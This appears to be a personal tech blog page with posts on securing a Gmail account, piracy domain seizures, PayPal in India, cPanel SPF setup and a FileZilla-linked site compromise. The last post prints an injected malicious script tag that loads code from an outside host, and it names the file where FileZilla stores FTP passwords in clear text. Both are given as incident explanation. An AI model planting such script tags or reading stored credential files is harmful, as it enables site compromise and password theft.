How to hack Gmail password and how to secure Gmail account

No I am not going to tell you how to hack Gmail account or Orkut account. I found on Google “How to hack Gmail password” is one of most searched topic on internet “how to” search.It implies that there are a large number of people who are trying to hack Gmail or Orkut account. I host a few websites since last 8 years and my hosting account been hacked three times already.It’s true that hacking a hosting account is quite different from hacking a Gmail account.But why I mentioned is because once you are hacked you feel the pain.And believe me if your Gmail account is hacked it will bring horror to you. Because most likely its primary contact email id for you and there are so many services linked to your Gmail id like Blogger, Adsense,Adwords,Google sites,Orkut, Google Apps etc list is quite impressive for being your account a target.A potential hacker can have two intention first, either hackers wants to monitor your email communication or take away account from you totally.
In coming paragraph you will get familiar with few common techniques used by hacker to hack your online accounts in common and Gmail account in particular.After that I am going to tell you what to do or not to do to protect your account and best practices to safeguard your Gmail.I will conclude with what should you do if your Gmail account is hacked.

Common hacking modes for Gmail account

  1. Keylogger – Keylogger is a software which is installed on a system to log key pressed. There are commercially available key logger in the market as well as a hacker may introduce a keylogger via Trojan, infected USB device etc. Key loggers can be installed on a system in a rootkit mode where you can’t see it in Windows taskbar.Additionally, these keyloggers can be configured to send log file using mail via SMTP.
  2. Phishing – Phishing is most common method, to hack online passwords. In phishing a hacker sends email with link of a similar page you may see while logging to Gmail,however it would be not hosted by Gmail servers.Most likely, the link of Phishing site will be again on some hacked website.As soon as you enter login and password in such page hackers gets your password.
  3. Firefox Saved Password – If you have accessed your Gmail account on shared computer or a friend’s PC and saved password offered by Firefox, this can be read using Firefox Tools –>Options—>Security—>Saved Password screen.All one has to do is click on “show password”.
  4. Using simple security question is Gmail account – Google offers 5 default question and 6th option is to have your question. Five default questions in Gmail account are

    • What is your primary frequent flyer number – This question is good only if you have one.
    • What is your library card number – This is the info many will have access to,not good at all.
    • What was your first phone number – Again this is more or less a public information, people can do “people search” to find out all your numbers, possibly one of those is your first phone number
    • What was your first teacher’s name – Anyone who has studied with you or if someone has done social engineering  to find it out can guess it with some effort.
    • What is your father’s middle name – Again very weak hint.
                  Google should consider to make more secure default security questions.
  5. Getting password from less secured websites – Many people have habit to use single password everywhere Gmail, forum, small websites etc.Most of the website keeps your password in encrypted format. These password can’t be reverse engineered practically. But some of the website keeps password in clear text. How you can know if a website is preserving password in clear text.. When you choose forgot password option in websites that offers you to tell your password are for sure keeping your password in clear text.Generally, if a password is not saved in clear text website will give you option to reset password and would not send you your password. Now, suppose you share same password with a website that saves password in clear text as with Gmail account password,chances are someone who has access to user database on that website may steal Gmail password as well.
  6. Man in the middle attack – A hacker can intercept your communication between browser and Gmail servers using packet sniffers.They in turn can read “Session Id” used for a particular communication. Once a hacker succeed in doing that he can use your Gmail account without knowing your password.This kind of attack is possible in public wi-fi hotspot or if you have unsecured wi-fi setup at your home.

 10 Best Practices to protect your Gmail account

  1. Update your software and antivirus program – You should update your OS, programs like MS office, Firfox, Adobe acrobat reader etc to keep it updated with current version. This will secure your from known vulnerability in software. Hackers do target a security vulnerability once it is known. Also, use a decent antivirus, there are so many options available in market but few are better than others.
  2. Don’t open files sent to you by unknown source – Hackers may install key logger etc by sending you executables, pdf  file etc. So never open these files.
  3. Don’t install cracks etc from website or torrent – Cracks available on internet and torrents are full of spyware, keylogger etc. Unless you know what you are doing never use those files. They install spyware and root kits on your system.
  4. Secure yourself from Phishing attacks – When you get a link in email or Orkut or Facebook, make sure it is from genuine source.A hacker might send you link to something and ask you for login/password of Gmail.Site look and feel would be same as Gmail login screen but it will be not hosted at Google servers. Whenever you enter critical information like login/password, Credit card,Bank account etc make sure you check the address bar in your web browser. Its possible a page which looks similar to Gmail might be coming from something like following:
     http://www.example.com/scripts/website/gmail/image/login/gethim/login.php or even bigger address.You are warned not to put your login password etc in these websites.
  5. Don’t save password in Firefox – This is particularly true if you are using a shared computer. Also, in case you are using a cyber cafe make sure you never saved password for your Gmail.
  6. Create your own security question is Gmail – As illustrated earlier Gmail default security question can be guessed with some effort. It is highly recommended to create your own security question whose answer is known to you only.This will be helpful in resetting your password if hacker has not modified your security question.For an example if you like banana just have a security question “fruit” and not your “favorite fruit”. Google have guidelines for security questions as well.

    Picking a good security question and answer:
    • Choose a question only you know the answer to - make sure the question isn't associated with your password.
    • Pick a question that can't be answered through research (for example, avoid your mother's maiden name, your birth date, your first or last name, your social security number, your phone number, your pet's name, etc.).
    • Make sure your answer is memorable, but not easy to guess. Use an answer that is a complete sentence for even more security.
  7. Have a different password on other websites – You might be visiting forums, dating sites, job sites etc. Don’t have same password on those sites with that of Gmail.This will protect you from your Gmail password, it will be safe even if database of those sites are hacked given they save password in clear text.
  8. Enable https on you Gmail account – A man in middle attacker may intercept your session id and access Gmail account. Enable https option in your Gmail. This may slow down your Gmail a little bit. So if you are using a slow dialup connection you may not like it. But if you access your Gmail from wi-fi hot spot its recommended you turn it on. Also, if you access your Gmail mostly on broadband you not feel the difference. To enable https access use following instructions.

    • Log in into your Gmail account
    • Click on the link “settings” – You will find it at the top right hand side of the page once you logged in.
    • On “General” tab look for the section “Browser Connection”
    • Check radio button “Always use https”
    • Go at the bottom of the page and look for button “Save changes”
    • Click on “Save Changes”
  9. Have alternative email and mobile number on your account – Google have option to have alternative email address and phone number in your account. Please do configure it and have a email id which has a different password and you don’t access it often.However, these options are only good to reset the password if hacker has not touched your alternative email id and mobile number. It’s entirely possible that hackers have got your password but they have not changed it but just monitoring you. You may change (configure) these setting by accessing following link              https://www.google.com/accounts/UpdateAccountRecoveryOptions?hl=en
  10. Forward your some of the important mails at another email account – Preventive measures are good. If you have not deleted your old emails send your some of the mails to a different email id. The mail you should choose to forward is the mail you got from Gmail when you signed up.The mail you get from Orkut when you signed up.THIS IS MUST DO FOR EVERYONE.This will be useful if you Gmail ever gets hacked.Better safe than sorry.

How to know that your Gmail account is compromised

  1. Password is no more working – When a hacker changes the compromised account’s password, your password will not work.You will know instantaneously as you can’t login. However, when hacker is just monitoring you he may not change the password.
  2. How to know that account is compromised when password is working -

    • Some of your mails are read even when you have not read it
    • Go to “settings” –> “Forwarding and POP/IMAP” – In the “Forwarding” section does “Forward a copy of incoming mail to” is configured to some mail id of not yours? It means account is hacked.Change password immediately.
    • Does POP/IMAP is enabled and “POP is enabled for all mail that has arrived since DATE”.Where date field is not blank even if you are not using POP.
    • At the bottom of Gmail page, Gmail gives you last account activity information. If you have something like below,it normal.It says you di d something with your Gmail 2 hours ago on this computer.
              gmail-last-account-activity
    • Now Let’s see what is different in picture below. It says account is open in 1 other location whose public IP is 118.95.14.91.That is suspicious unless you have opened another Gmail session on a different machine or Gmail in another browser.Even if it says last account activity at 8.8.8.8 or some think like that, you may check it if you opened the account from office or other location.Generally if you are using an ISP the first 2 portion of dotted IP Address will remain same.This will change if you are using it from office at day time and at home in evening.
                      gmail-last-account-activity-2mintutes            
    • How to do an IP address lookup and find where my Gmail has been accessed from? There are sites which shows your IP address on internet.I will use http://www.4321.in website for further explanation.Go to the website, below the main widget in page, it will have string like “NQ Client Info - IP: 118.95.14.91 - OS: win xp - Browser: fx 3.6.3”.Where 118.95.14.91 is my IP visible on internet. This IP address belongs to my ISP. To query more about this IP address.Click on the “tab” ,” whois IP”.By default it will fill the text box with IP address you have accessed. Now click on > button.For me it brings like following information.I am copying pasting first few line here.It shows IP belongs to organization SIFYNET. They are my ISP. So I am satisfied.
% [whois.apnic.net node-2]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:      118.94.0.0 - 118.95.255.255
netname:      SIFYNET
descr:        Sify Limited
descr:        Chennai, India
country:      IN
admin-c:      HS51-AP
tech-c:       HS51-AP
remarks:
remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks:      This object can only be updated by APNIC hostmasters.
remarks:      To update this object, please contact APNIC
remarks:      hostmasters and include your organisation's account
remarks:      name in the subject line.
remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
changed:      hm-changed@apnic.net 20070827
mnt-by:       APNIC-HM
mnt-lower:    MAINT-IN-SIFY
status:       ALLOCATED PORTABLE
source:       APNIC
    • No suppose IP address last accessed or open at other location belongs to someone on different ISP or in a different country, I have reason to believe that my account is compromised.What should I do in these situations, I should run a virus/malware scan on my computer and change my password and security questions immediately.
    • Now Google has even provided a better solution.In the images shown above there is a link called “details”.Go Gmail pagea dn at the bottom try to locate it and click it.For me it brings following information.First column always says browser, as I only access Gmail from web. I am safe. If you see other access method like POP3 while you don’t use POP3 you are compromised.If you see different IP addresses in second column,try to do lookup as explained earlier using http://www.4321.in .Google has a good guide about how to use this information. Last activity information.gmail-account-activity


    • Google sends suspicious account activity alert as well.I have not seen it so far,but have you got one?





What to do after account is hacked

  1. Account is hacked you do have access to your Gmail account – Run a spyware and virus scan on your computer.Once its complete, change password and security question of the account.
  2. Account is hacked and hacker has changed the password – This will be useful when hacker has changed your password but not security question or secondary email address in your account. Follow the link.
  3. Account is hacked and hacker is changed secondary email as well as security questions – In these situation the email forwarded to secondary accounts will be useful.Remember, I have recommended “Forward your some of the important mails at another email account”.You will be asked when you signed up for account.When you activated the 4 different services on Google.Use this link to request Google for assistance.
            So how was that?Did you find this post useful? Did I miss something then please point it out.If you like this post please refer to you friends,it will help them to keep their Gmail secure.Please be safe!
Technorati Tags: ,,

Pirated Movies domain,websites and cash seized

The government on Wednesday also took control of at least seven of the sites in question: Movies-Links.tv, Now-Movies.com, TVShack.net, Filespump.com, Planetmoviez.com, ZML.com, ThePirateCity.org, Ninjavideo.net, and NinjaThis.net. More than a dozen bank, investment, and advertising accounts were seized, and authorities served search warrants on residences in several different states.
Feds seize cash, Web sites of alleged film pirates | Media Maverick - CNET News
When writing this blog all 7 sites mentioned in the news are either replaced by by an image file or unvailable.


It is interesting to note that movies-links.tv is registered in only Feb 2010 and has Alexa rank 533! wow. Whois info of only THEPIRATECITY.ORG has changed at the time of writing of this post.
Domain ID:D153506371-LROR
Domain Name:THEPIRATECITY.ORG
Created On:02-Aug-2008 03:58:43 UTC
Last Updated On:30-Jun-2010 21:34:53 UTC
Expiration Date:02-Aug-2011 03:58:43 UTC
Sponsoring Registrar:eNom, Inc. (R39-LROR)
Status:DELETE PROHIBITED
Status:TRANSFER PROHIBITED
Status:UPDATE PROHIBITED
Registrant ID:afilias155649
Registrant Name:Department of Homeland Security, Immigration and Customs Enforce
ment
Registrant Street1:801 I St., N.W., Suite 700
Registrant Street2:
Registrant Street3:
Registrant City:Washington
Registrant State/Province:DC
Registrant Postal Code:20536
Registrant Country:US
Registrant Phone:+1.2027322000
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:ICEcio@fins3.dhs.gov
Admin ID:afilias155649

9PWPXZQTWF5B


Paypal Bank Account verification no more for India

Previously when you used to add an Indian bank account in Paypal,they use to verify it.Process of verification was that Paypal used to deposit two small amount in your bank account. User was suppose to put those amount in Paypal verification module.

After resolving issue with RBI it seems they have withdrawn the verification process.My take is that you are now suppose to provide reason for bank withdrawal. Now when you add an bank account,it is instantaneous and it's status is "Primary" (if it is first bank account).

However, you you click on "status" link shown in above image, it still refers to old procedure.




Note: there is no more confirm button against bank account.Refer first image.
 What does it mean to you? I have not seen it on Paypal blog but possibly you no more can verify your Paypal account using bank details in India.You will need credit card verification in this I suppose.Any new user to Paypal, what was asked to you?
 Secondly, if you would like to withdraw money in your bank from Paypal,make sure bank details are correct,otherwise Paypal with deduct bank charges and other fees.As per Paypal -
Note:Please make sure that the information you provided is complete and correct. Otherwise, the amount will be returned to your PayPal account (deducting any bank charges) and a return fee will be charged.
One interesting development for Indian users, paypal is asking for PAN(Permanent account details) for users in India.So it seem like you may have to mention Paypal transactions in tax filing.
Are you using Paypal account in India? Have you seen these changes?


How to add/modify SPF record using CPANEL-Gmail for domain SPF

SPF stands for Sender Policy Framework.One can create SPF for a domain.It specifies which mail servers are permitted
to send mails on behalf your domain.Some mail servers don't accept incoming messages if it is coming from a domain that have no SPF record. So it's good idea to set it.

CPANEL - is widely used control panel on commercial Linux hosts. To setup SPF record for domain.
  • Login into Cpanel by tying http://example.com:2082 where example.com is your domain.
  • To write this post I logged into Cpanel where Cpanel version is 11.It is displayed at top left hand corner of the cpanel.
  •  Now look for section mail
  •  Under mail look for "Email Authentication"

  • Click on Email Authentication - Email Authentication in Cpanel
  • Under SPF section status would be Disabled - Click Enable button.It will lead to following page
  •  By default current host is included in SPF record. Click on "Go Back" and you can see following. SPF record added.
  • Now, You want to add "include" Google as email sending entity.Make sure before you start this SFP enabling you have already pointed MX record to Google mail exchanger.
  • Now Go to "Include" section on SPF record configuration page add click "Add".A popup window appear put following value





    __spf.google.com
     
    Gmail for domain SPF record Added using CPANEL 
  • By default Cpanel appends "?all" at the end of SPF record.This is as good as none.If you are sure you would not send mail other that your hosted IP and Google Check "All entry (ALL)".
  • Click Update. It will bring a status page
  • SPF has been enabled.
    Your raw SPF record is : v=spf1 a mx ip4:74.52.35.98 include:_spf.google.com -all
  •  -all at the end that means all other hosts in the world which will try to relay email on behalf of your domain will be rejected.


Filezilla Security Issues - Hackers are exploiting it

 I love filezilla, but what happened this month will make me to rethink if I need another ftp program. I am using filezilla 3.1.3.1 client on my PC. Suddenly one good day when I tried to access one of my website,Firefox gave warning as "Reported attack page". When you see this type of issue with your webpage your heartbeat increases.It means youe Web server is hacked!!

I used wget tool to download default page of the concerned web SITE.Found page was infected with 2 identical pieces of javascript code.One at the top of the page other at the bottom.

<script type="text/javascript" src="http://iopap.1upperdarby26.com/Backup.js" type="text/javascript">
<!--6bacf8b35cab0f596815865b2df682fa-->

I logged into my server and found index.php page was infected. I cleaned it. But no luck, on client side still there were malicious javascript code.I searched in that virtual directory.And found all index.html, index.php and .js (Javascript) file had it.My intial thought was that probably that hacker might have exploited security hole in Xoops.I was using open source CMS xoops on that website and haven't updated the installation for nearly couple of years.My assumption was they might have used backdoor script for the attack.
I started looking into logs.First I tried to figure out from access log.No luck.Then what I saw big ftp log files in log directory. When I opened it I was amazed,I didn't log using ftp in last few month.But ftp log was showing files being uploaded from numerous different IP addresses.As I have not used ftp for last many month I didn't thought my desktop might be culprit (when you are running antivirus with updated you assume you are safe,huh).I contacted my hosting provider and informed them that probably the box is being exploited and compromised at their end.After a few mail exchange what I found was beyond my imagination.
My desktop was infected with a variant of Gumlar.
Possibly my antivirus couldn't catch a pdf security hole and password was stolen from FILEZILLA. Filezilla makes hacker life easy.It saves ftp site configuration in xml and password in clear text.I wish I would have known it before.I would have not bothered to save password in filezilla then. Apparently Filezilla has no plan to encrypt the password.This is unbelievable.I agree our antivirus should catch these stuff but why make hacker's life easy. In my opinion password saved in filezilla should be encrypted.Or atleast they should warn user when one try to save password in Filezilla.If you want to know which file is used to save password it is C:\Documents and Settings\<username>\Application Data\FileZilla\sitemanager.xml .Where <username > is your windows user name.
So lesson is never save password in Filezilla or probably look for other alternatives.



, ,